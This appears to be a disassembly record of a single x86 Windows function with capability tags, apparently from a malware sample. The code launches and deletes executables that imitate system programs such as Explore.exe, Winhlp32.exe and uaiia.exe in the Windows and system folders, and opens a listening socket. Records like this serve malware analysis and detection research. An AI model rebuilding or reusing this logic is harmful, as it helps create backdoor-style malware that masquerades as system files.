Function at 0x4097a0
Capabilities:
Create process on windows
Delete file
Get common file path
Resolve function by parsing pe exports
Set file attributes
Terminate process

Disassembly:
push 0xffffffffffffffff
push 0x42fa6e
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x73c
push ebx
push ebp
push esi
push edi
lea ecx, [esp + 0x3c]
call fcn.0042ebfd
xor ebx, ebx
lea ecx, [esp + 0x6c]
mov dword [esp + 0x754], ebx
call fcn.00402760
lea ecx, [esp + 0x28]
mov byte [esp + 0x754], 1
call fcn.004071d0
lea eax, [esp + 0x558]
push 0x1f4
push eax
push ebx
mov byte [esp + 0x760], 2
mov dword [0x43e768], ebx
call dword [sym.imp.KERNEL32.DLL_GetModuleFileNameA]
lea ecx, [esp + 0x558]
push ecx
lea ecx, [esp + 0x24]
call fcn.00422dfd
lea ecx, [esp + 0x20]
mov byte [esp + 0x754], 3
call fcn.00423291
mov eax, dword [0x43c178]
mov dword [esp + 0x14], eax
mov dword [esp + 0x18], eax
mov byte [esp + 0x754], 5
call fcn.0042b6b0
mov eax, dword [eax + 4]
lea ecx, [esp + 0x14]
mov edx, dword [eax + 0x70]
push edx
call fcn.00422f18
lea ecx, [esp + 0x14]
call fcn.00423291
push str.UAIIA
lea ecx, [esp + 0x24]
mov esi, 1
call fcn.00421d82
mov edi, dword [sym.imp.KERNEL32.DLL_WinExec]
cmp eax, 0xffffffff
je 0x40993d
lea eax, [esp + 0x14]
lea ecx, [esp + 0x10]
push eax
push str.notepad.exe
push ecx
call fcn.00423098
push eax
lea ecx, [esp + 0x1c]
mov byte [esp + 0x758], 6
call fcn.00422ec8
lea ecx, [esp + 0x10]
mov byte [esp + 0x754], 5
call fcn.00422dd3
call fcn.0042b6b0
mov eax, dword [eax + 4]
mov edx, dword [eax + 0x74]
mov eax, dword [esp + 0x18]
push edx
push eax
call edi
push ecx
mov ecx, esp
mov dword [esp + 0x14], esp
push str.regedit.exe
call fcn.00422dfd
call fcn.00408db0
mov ecx, esp
mov dword [esp + 0x14], esp
push str.Explore.exe
call fcn.00422dfd
call fcn.004094b0
mov ecx, esp
mov dword [esp + 0x14], esp
push str.Winhlp32.exe
call fcn.00422dfd
call fcn.00408db0
mov ecx, esp
mov dword [esp + 0x14], esp
push str.Internet.exe
call fcn.00422dfd
call fcn.00409280
mov ecx, esp
mov dword [esp + 0x14], esp
push str.uaiia.exe
call fcn.00422dfd
call fcn.00408b50
add esp, 4
xor esi, esi
push str.WINHLP32
lea ecx, [esp + 0x24]
call fcn.00421d82
cmp eax, 0xffffffff
je 0x409a0d
lea ecx, [esp + 0x14]
lea edx, [esp + 0x10]
push ecx
push str.Winhlp32Ex.exe
push edx
call fcn.00423098
push eax
lea ecx, [esp + 0x1c]
mov byte [esp + 0x758], 7
call fcn.00422ec8
lea ecx, [esp + 0x10]
mov byte [esp + 0x754], 5
call fcn.00422dd3
call fcn.0042b6b0
mov eax, dword [eax + 4]
mov ecx, dword [esp + 0x18]
mov eax, dword [eax + 0x74]
push eax
push ecx
call edi
push ecx
mov ecx, esp
mov dword [esp + 0x14], esp
push str.uaiia.exe
call fcn.00422dfd
call fcn.00409010
mov ecx, esp
mov dword [esp + 0x14], esp
push str.Explore.exe
call fcn.00422dfd
call fcn.004094b0
mov ecx, esp
mov dword [esp + 0x14], esp
push str.regedit.exe
call fcn.00422dfd
call fcn.00408db0
mov ecx, esp
mov dword [esp + 0x14], esp
push str.Internet.exe
call fcn.00422dfd
call fcn.00409280
mov ecx, esp
mov dword [esp + 0x14], esp
push str.uaiia.exe
call fcn.00422dfd
call fcn.00408b50
add esp, 4
xor esi, esi
push str.REGEDIT
lea ecx, [esp + 0x24]
call fcn.00421d82
cmp eax, 0xffffffff
je 0x409acb
lea edx, [esp + 0x14]
lea eax, [esp + 0x10]
push edx
push str.regeditEx.exe
push eax
call fcn.00423098
push eax
lea ecx, [esp + 0x1c]
mov byte [esp + 0x758], 8
call fcn.00422ec8
lea ecx, [esp + 0x10]
mov byte [esp + 0x754], 5
call fcn.00422dd3
call fcn.0042b6b0
mov eax, dword [eax + 4]
mov edx, dword [esp + 0x18]
mov ecx, dword [eax + 0x74]
push ecx
push edx
call edi
push ecx
mov ecx, esp
mov dword [esp + 0x14], esp
push str.uaiia.exe
call fcn.00422dfd
call fcn.00409010
mov ecx, esp
mov dword [esp + 0x14], esp
push str.Explore.exe
call fcn.00422dfd
call fcn.004094b0
mov ecx, esp
mov dword [esp + 0x14], esp
push str.Winhlp32.exe
call fcn.00422dfd
call fcn.00408db0
mov ecx, esp
mov dword [esp + 0x14], esp
push str.Internet.exe
call fcn.00422dfd
call fcn.00409280
mov ecx, esp
mov dword [esp + 0x14], esp
jmp 0x409b44
cmp esi, 1
jne 0x409b56
push ecx
mov ecx, esp
mov dword [esp + 0x14], esp
push str.uaiia.exe
call fcn.00422dfd
call fcn.00409010
mov ecx, esp
mov dword [esp + 0x14], esp
push str.Explore.exe
call fcn.00422dfd
call fcn.004094b0
mov ecx, esp
mov dword [esp + 0x14], esp
push str.Winhlp32.exe
call fcn.00422dfd
call fcn.00408db0
mov ecx, esp
mov dword [esp + 0x14], esp
push str.regedit.exe
call fcn.00422dfd
call fcn.00408db0
mov ecx, esp
mov dword [esp + 0x14], esp
push str.Internet.exe
call fcn.00422dfd
call fcn.00409280
mov ecx, esp
mov dword [esp + 0x14], esp
push str.uaiia.exe
call fcn.00422dfd
call fcn.00408b50
add esp, 4
lea eax, [esp + 0x364]
push 0x1f4
push eax
call dword [sym.imp.KERNEL32.DLL_GetSystemDirectoryA]
mov edi, str.uaiia.pot
or ecx, 0xffffffff
xor eax, eax
lea edx, [esp + 0x364]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
push 0x43b0d4
mov eax, ecx
mov esi, edi
mov edi, edx
mov dword [esp + 0x20], 0x1de0
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea ecx, [esp + 0x368]
push ecx
call fcn.004122d1
mov esi, eax
add esp, 8
cmp esi, ebx
je 0x409bcd
push esi
push 1
lea edx, [esp + 0x24]
push 4
push edx
call fcn.004127dd
push esi
call fcn.00412223
add esp, 0x14
mov eax, dword [esp + 0x1c]
push ebx
push 0x3f
push 1
push eax
lea ecx, [esp + 0x7c]
call fcn.0042e516
mov ebp, dword [sym.imp.KERNEL32.DLL_Sleep]
test eax, eax
jne 0x409fa1
push str.UPDATE
lea ecx, [esp + 0x18]
call fcn.00421d82
cmp eax, 0xffffffff
je 0x40a13e
push 0x3e8
call ebp
push ebx
call fcn.00407dc0
add esp, 4
lea ecx, [esp + 0x6c]
mov esi, eax
push ebx
push 0x3f
push 1
push ebx
call fcn.0042e516
test eax, eax
jne 0x409c30
push ebx
call fcn.00412311
push 0x3e8
call ebp
mov ecx, dword [esp + 0x1c]
push ecx
push esi
lea ecx, [esp + 0x74]
call fcn.0042e6d4
test eax, eax
jne 0x409c50
push ebx
call fcn.00412311
push 0x3e8
call ebp
mov edi, str.UAIIA_XHX_YANER
or ecx, 0xffffffff
xor eax, eax
lea edx, [esp + 0x134]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
push ebx
mov eax, ecx
mov esi, edi
mov edi, edx
lea edx, [esp + 0x14c]
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
xor eax, eax
and ecx, 3
push 0x12c
rep movsb byte es:[edi], byte [esi]
mov edi, str.Update_system..
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov eax, ecx
mov esi, edi
mov edi, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea ecx, [esp + 0x13c]
push ecx
lea ecx, [esp + 0x78]
call fcn.0042ed76
cmp eax, 0x118
jge 0x409cec
push 0x1f4
call ebp
push ebx
lea edx, [esp + 0x138]
push 0x12c
push edx
lea ecx, [esp + 0x78]
call fcn.0042ed76
cmp eax, 0x118
jl 0x409cc7
mov edi, str.exit_uaiia
or ecx, 0xffffffff
xor eax, eax
lea edx, [esp + 0x134]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
push ebx
mov eax, ecx
mov esi, edi
mov edi, edx
push 0x1e
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea ecx, [esp + 0x13c]
push ecx
lea ecx, [esp + 0x78]
call fcn.0042ed76
cmp eax, 0x14
jge 0x409d4b
push 0x64
call ebp
push ebx
lea edx, [esp + 0x138]
push 0x1e
push edx
lea ecx, [esp + 0x78]
call fcn.0042ed76
cmp eax, 0x14
jl 0x409d2e
push ebx
lea eax, [esp + 0x138]
push 0x1e
push eax
lea ecx, [esp + 0x78]
call fcn.0042ed76
test eax, eax
jle 0x409d7f
push 0x64
call ebp
push ebx
lea ecx, [esp + 0x138]
push 0x1e
push ecx
lea ecx, [esp + 0x78]
call fcn.0042ed76
test eax, eax
jg 0x409d63
push 0x3e8
call ebp
lea ecx, [esp + 0x6c]
call fcn.0042ed02
push 0x3e8
call ebp
mov edx, dword [0x43c178]
mov dword [esp + 0x10], edx
lea eax, [esp + 0x260]
push 0x104
push eax
mov byte [esp + 0x75c], 9
call dword [sym.imp.KERNEL32.DLL_GetWindowsDirectoryA]
lea ecx, [esp + 0x260]
lea edx, [esp + 0x10]
push ecx
push str._sExplore.exe
push edx
call fcn.004220c3
mov eax, dword [esp + 0x1c]
mov esi, dword [sym.imp.KERNEL32.DLL_SetFileAttributesA]
add esp, 0xc
push 0x20
push eax
call esi
mov ecx, dword [esp + 0x10]
mov edi, dword [sym.imp.KERNEL32.DLL_DeleteFileA]
push ecx
call edi
cmp eax, 1
jne 0x409e0f
push ecx
mov ecx, esp
mov dword [esp + 0x28], esp
push str.Explore.exe
call fcn.00422dfd
call fcn.004094b0
add esp, 4
lea edx, [esp + 0x260]
lea eax, [esp + 0x10]
push edx
push str._sWinhlp32.exe
push eax
call fcn.004220c3
mov ecx, dword [esp + 0x1c]
add esp, 0xc
push 0x20
push ecx
call esi
mov edx, dword [esp + 0x10]
push edx
call edi
cmp eax, 1
jne 0x409e57
push ecx
mov ecx, esp
mov dword [esp + 0x28], esp
push str.Winhlp32.exe
call fcn.00422dfd
call fcn.00408db0
add esp, 4
lea eax, [esp + 0x260]
lea ecx, [esp + 0x10]
push eax
push str._s_regedit.exe
push ecx
call fcn.004220c3
mov edx, dword [esp + 0x1c]
add esp, 0xc
push 0x20
push edx
call esi
mov eax, dword [esp + 0x10]
push eax
call edi
cmp eax, 1
jne 0x409e9f
push ecx
mov ecx, esp
mov dword [esp + 0x28], esp
push str.regedit.exe
call fcn.00422dfd
call fcn.00408db0
add esp, 4
lea ecx, [esp + 0x260]
push 0x104
push ecx
call dword [sym.imp.KERNEL32.DLL_GetSystemDirectoryA]
lea edx, [esp + 0x260]
lea eax, [esp + 0x10]
push edx
push str._suaiia.exe
push eax
call fcn.004220c3
mov ecx, dword [esp + 0x1c]
add esp, 0xc
push 0x20
push ecx
call esi
mov edx, dword [esp + 0x10]
push edx
call edi
cmp eax, 1
jne 0x409efa
push ecx
mov ecx, esp
mov dword [esp + 0x28], esp
push str.uaiia.exe
call fcn.00422dfd
call fcn.00409010
add esp, 4
lea eax, [esp + 0x260]
lea ecx, [esp + 0x10]
push eax
push str._sInternet.exe
push ecx
call fcn.004220c3
mov edx, dword [esp + 0x1c]
add esp, 0xc
push 0x20
push edx
call esi
mov eax, dword [esp + 0x10]
push eax
call edi
cmp eax, 1
jne 0x409f42
push ecx
mov ecx, esp
mov dword [esp + 0x28], esp
push str.Internet.exe
call fcn.00422dfd
call fcn.00409280
add esp, 4
push ecx
mov ecx, esp
mov dword [esp + 0x28], esp
push str.uaiia.exe
call fcn.00422dfd
call fcn.00408b50
mov ecx, dword [esp + 0x20]
add esp, 4
push ebx
push 0x3f
push 1
push ecx
lea ecx, [esp + 0x7c]
call fcn.0042e516
test eax, eax
jne 0x409f90
push 0xc8
call ebp
mov edx, dword [esp + 0x1c]
push ebx
push 0x3f
push 1
push edx
lea ecx, [esp + 0x7c]
call fcn.0042e516
test eax, eax
je 0x409f72
lea ecx, [esp + 0x10]
mov byte [esp + 0x754], 5
call fcn.00422dd3
mov eax, dword [esp + 0x70]
push 5
push eax
call sub.WSOCK32.dll_listen
xor ecx, ecx
cmp eax, 0xffffffff
setne cl
mov eax, ecx
cmp eax, ebx
jne 0x409fdc
push 0x7d0
call ebp
mov edx, dword [esp + 0x70]
push 5
push edx
call sub.WSOCK32.dll_listen
xor ecx, ecx
cmp eax, 0xffffffff
setne cl
mov eax, ecx
cmp eax, ebx
je 0x409fbb
call fcn.004096e0
push ebx
push 0x3f
push 2
push ebx
lea ecx, [esp + 0x4c]
call fcn.0042e516
push ebx
push 0x3f
lea edx, [esp + 0x44]
push 2
push 0xc8f
lea ecx, [esp + 0x38]
mov dword [0x43e298], edx
call fcn.0042e516
test eax, eax
jne 0x40a020
push ebx
push 0x3f
push 2
push ebx
lea ecx, [esp + 0x38]
call fcn.0042e516
push ebx
push ebx
push ebx
lea eax, [esp + 0x34]
push ebx
push eax
push 0x409720
call fcn.0042346a
mov ecx, dword [esp + 0x75c]
push str.CHINA
push ecx
call dword [sym.imp.USER32.dll_LoadAcceleratorsA]
mov edi, dword [sym.imp.USER32.dll_GetMessageA]
push ebx
push ebx
lea edx, [esp + 0x58]
push ebx
push edx
mov esi, eax
call edi
test eax, eax
je 0x40a09c
mov ebp, dword [sym.imp.USER32.dll_TranslateAcceleratorA]
mov ebx, dword [sym.imp.USER32.dll_TranslateMessage]
mov ecx, dword [esp + 0x50]
lea eax, [esp + 0x50]
push eax
push esi
push ecx
call ebp
test eax, eax
jne 0x40a08b
lea edx, [esp + 0x50]
push edx
call ebx
lea eax, [esp + 0x50]
push eax
call dword [sym.imp.USER32.dll_DispatchMessageA]
push 0
push 0
lea ecx, [esp + 0x58]
push 0
push ecx
call edi
test eax, eax
jne 0x40a068
lea ecx, [esp + 0x6c]
call fcn.0042ed02
lea ecx, [esp + 0x3c]
call fcn.0042ed02
lea ecx, [esp + 0x28]
call fcn.0042ed02
lea ecx, [esp + 0x18]
mov byte [esp + 0x754], 4
call fcn.00422dd3
lea ecx, [esp + 0x14]
mov byte [esp + 0x754], 3
call fcn.00422dd3
lea ecx, [esp + 0x20]
mov byte [esp + 0x754], 2
call fcn.00422dd3
lea ecx, [esp + 0x28]
mov byte [esp + 0x754], 1
call fcn.00407210
lea ecx, [esp + 0x6c]
mov byte [esp + 0x754], 0
call fcn.00402870
lea ecx, [esp + 0x3c]
mov dword [esp + 0x754], 0xffffffff
call fcn.0042ec73
mov ecx, dword [esp + 0x74c]
pop edi
pop esi
pop ebp
mov eax, 1
mov dword fs:[0], ecx
pop ebx
add esp, 0x748
ret
push ebx
call fcn.00412311
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop